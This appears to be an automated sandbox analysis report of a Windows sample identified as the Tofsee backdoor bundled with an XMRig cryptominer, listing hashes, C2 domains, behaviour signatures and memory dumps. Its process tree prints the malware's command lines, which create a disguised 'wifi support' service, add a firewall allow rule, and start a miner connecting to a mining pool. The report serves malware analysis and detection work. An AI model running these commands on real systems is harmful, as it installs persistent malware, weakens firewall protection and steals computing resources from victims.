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Overview

overview

10

Static

static

file.exe

windows7-x64

10

file.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    146s
  • platform
    windows7_x64
  • resource
    win7-20220901-en
  • resource tags

    arch:x64arch:x86image:win7-20220901-enlocale:en-usos:windows7-x64system
  • submitted
    01/12/2022, 06:42

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General

  • Target

    file.exe

  • Size

    186KB

  • MD5

    ff01efd9a32faf896caf2a47462208b4

  • SHA1

    1ca9d0f7a732306e273fa90bb63d84b19f0190a9

  • SHA256

    eb19387896d4cedb4d65a1c97603376051377a420026be5bd14a4b0ec3315d00

  • SHA512

    2a204cc50d39fbbfb584c3ce9bff98898ce1eb53365f09878edfca41ef8b2a74f00f66812aa73ca5e498536ae443f82e89dd0f7c2e4494470f62ebb26fe2d649

  • SSDEEP

    3072:HA9MScArnPrt21KeIqrC5RYl5Z93yDycKXq/Qn4jKKRw+6j4:+MtArp0KeIC5Z9iDy1Xdn4u+M

Score
10/10
tofseexmrigevasionminerpersistencetrojan

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • Windows security bypass 2 TTPs 1 IoCs
    evasiontrojan
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • XMRig Miner payload 2 IoCs
    miner
  • Creates new service(s) 1 TTPs
    persistence
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
    evasion
  • Sets service image path in registry 2 TTPs 1 IoCs
    persistence
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1632
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\nsrhabxb\
      2⤵
        PID:1732
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\youbgswl.exe" C:\Windows\SysWOW64\nsrhabxb\
        2⤵
          PID:2032
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create nsrhabxb binPath= "C:\Windows\SysWOW64\nsrhabxb\youbgswl.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1164
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description nsrhabxb "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1548
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start nsrhabxb
          2⤵
          • Launches sc.exe
          PID:892
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:680
      • C:\Windows\SysWOW64\nsrhabxb\youbgswl.exe
        C:\Windows\SysWOW64\nsrhabxb\youbgswl.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1472
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1456
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1204

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\youbgswl.exe
        Filesize

        14.3MB

        MD5

        ed968fd659b9393f142667c22ce47990

        SHA1

        bb742f4a9c772c2965d99c1d63cf1828d691c048

        SHA256

        9b11cfcec6207b47b84e87bb1aa8503f82cad5a00bdd0afe7fa6159161aadea9

        SHA512

        1cfbb1fb6ce34550a0118a5ee9065585b3983bde7f129870fe72ef96c6f086a90fe96ec8d4530b89e1a442c897eb037b81fc20517aff3955ce2cafea5abebe7e

        Download Submit

      • C:\Windows\SysWOW64\nsrhabxb\youbgswl.exe
        Filesize

        14.3MB

        MD5

        ed968fd659b9393f142667c22ce47990

        SHA1

        bb742f4a9c772c2965d99c1d63cf1828d691c048

        SHA256

        9b11cfcec6207b47b84e87bb1aa8503f82cad5a00bdd0afe7fa6159161aadea9

        SHA512

        1cfbb1fb6ce34550a0118a5ee9065585b3983bde7f129870fe72ef96c6f086a90fe96ec8d4530b89e1a442c897eb037b81fc20517aff3955ce2cafea5abebe7e

        Download Submit

      • memory/1204-101-0x0000000000230000-0x0000000000321000-memory.dmp

        Filesize

        964KB

        Download

      • memory/1204-99-0x0000000000230000-0x0000000000321000-memory.dmp

        Filesize

        964KB

        Download

      • memory/1456-69-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

        Download

      • memory/1456-92-0x0000000005910000-0x0000000005D1B000-memory.dmp

        Filesize

        4.0MB

        Download

      • memory/1456-98-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

        Download

      • memory/1456-95-0x00000000001E0000-0x00000000001E7000-memory.dmp

        Filesize

        28KB

        Download

      • memory/1456-89-0x00000000001D0000-0x00000000001D5000-memory.dmp

        Filesize

        20KB

        Download

      • memory/1456-86-0x0000000000180000-0x0000000000190000-memory.dmp

        Filesize

        64KB

        Download

      • memory/1456-83-0x0000000000110000-0x0000000000116000-memory.dmp

        Filesize

        24KB

        Download

      • memory/1456-71-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

        Download

      • memory/1456-80-0x00000000019C0000-0x0000000001BCF000-memory.dmp

        Filesize

        2.1MB

        Download

      • memory/1456-78-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

        Download

      • memory/1472-74-0x000000000056B000-0x000000000057C000-memory.dmp

        Filesize

        68KB

        Download

      • memory/1472-75-0x0000000000400000-0x0000000000464000-memory.dmp

        Filesize

        400KB

        Download

      • memory/1632-54-0x0000000076BA1000-0x0000000076BA3000-memory.dmp

        Filesize

        8KB

        Download

      • memory/1632-67-0x0000000000400000-0x0000000000464000-memory.dmp

        Filesize

        400KB

        Download

      • memory/1632-66-0x000000000051B000-0x000000000052C000-memory.dmp

        Filesize

        68KB

        Download

      • memory/1632-57-0x0000000000400000-0x0000000000464000-memory.dmp

        Filesize

        400KB

        Download

      • memory/1632-56-0x0000000000220000-0x0000000000233000-memory.dmp

        Filesize

        76KB

        Download

      • memory/1632-55-0x000000000051B000-0x000000000052C000-memory.dmp

        Filesize

        68KB

        Download